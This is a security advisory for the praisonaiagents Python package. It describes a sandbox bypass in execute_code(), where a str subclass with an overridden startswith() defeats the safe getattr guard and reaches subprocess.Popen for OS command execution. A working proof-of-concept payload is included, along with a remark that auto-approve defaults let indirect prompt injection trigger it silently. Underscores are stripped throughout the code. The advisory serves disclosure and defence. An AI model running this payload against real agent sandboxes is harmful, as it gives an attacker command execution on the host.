PT-2026-53559 · Pypi · Praisonaiagents

Published

2026-06-29

·

Updated

2026-06-29

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

execute code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safe getattr wrapper, achieving arbitrary OS command execution on the host.

Details

python tools.py:20 (source) -> python tools.py:22 (guard bypass) -> python tools.py:161 (sink)
python
# source -- safe getattr accepts any str subclass
def safe getattr(obj, name, *default):
 if isinstance(name, str) and name.startswith(' '): # isinstance passes for subclasses
   raise AttributeError(...)

# hop -- type() is whitelisted in safe builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})

# sink -- Popen reached via  subclasses  walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC

python

 from praisonaiagents.tools.python tools import execute code

payload = """
 t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})

mro attr = FakeStr(''.join([' ',' ','m','r','o',' ',' ']))
subs attr = FakeStr(''.join([' ',' ','s','u','b','c','l','a','s','s','e','s',' ',' ']))
mod attr = FakeStr(''.join([' ',' ','m','o','d','u','l','e',' ',' ']))
name attr = FakeStr(''.join([' ',' ','n','a','m','e',' ',' ']))
PIPE = -1

obj class = getattr(type(()), mro attr)[1]
for cls in getattr(obj class, subs attr)():
  try:
    m = getattr(cls, mod attr, '')
    n = getattr(cls, name attr, '')
    if m == 'subprocess' and n == 'Popen':
      r = cls(['id'], stdout=PIPE, stderr=PIPE)
      out, err = r.communicate()
      print('RCE:', out.decode())
      break
  except Exception as e:
    print('ERR:', e)
"""

result = execute code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running execute code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy mode.py, or bots cli.py set PRAISONAI AUTO APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-484

Affected Products

Praisonaiagents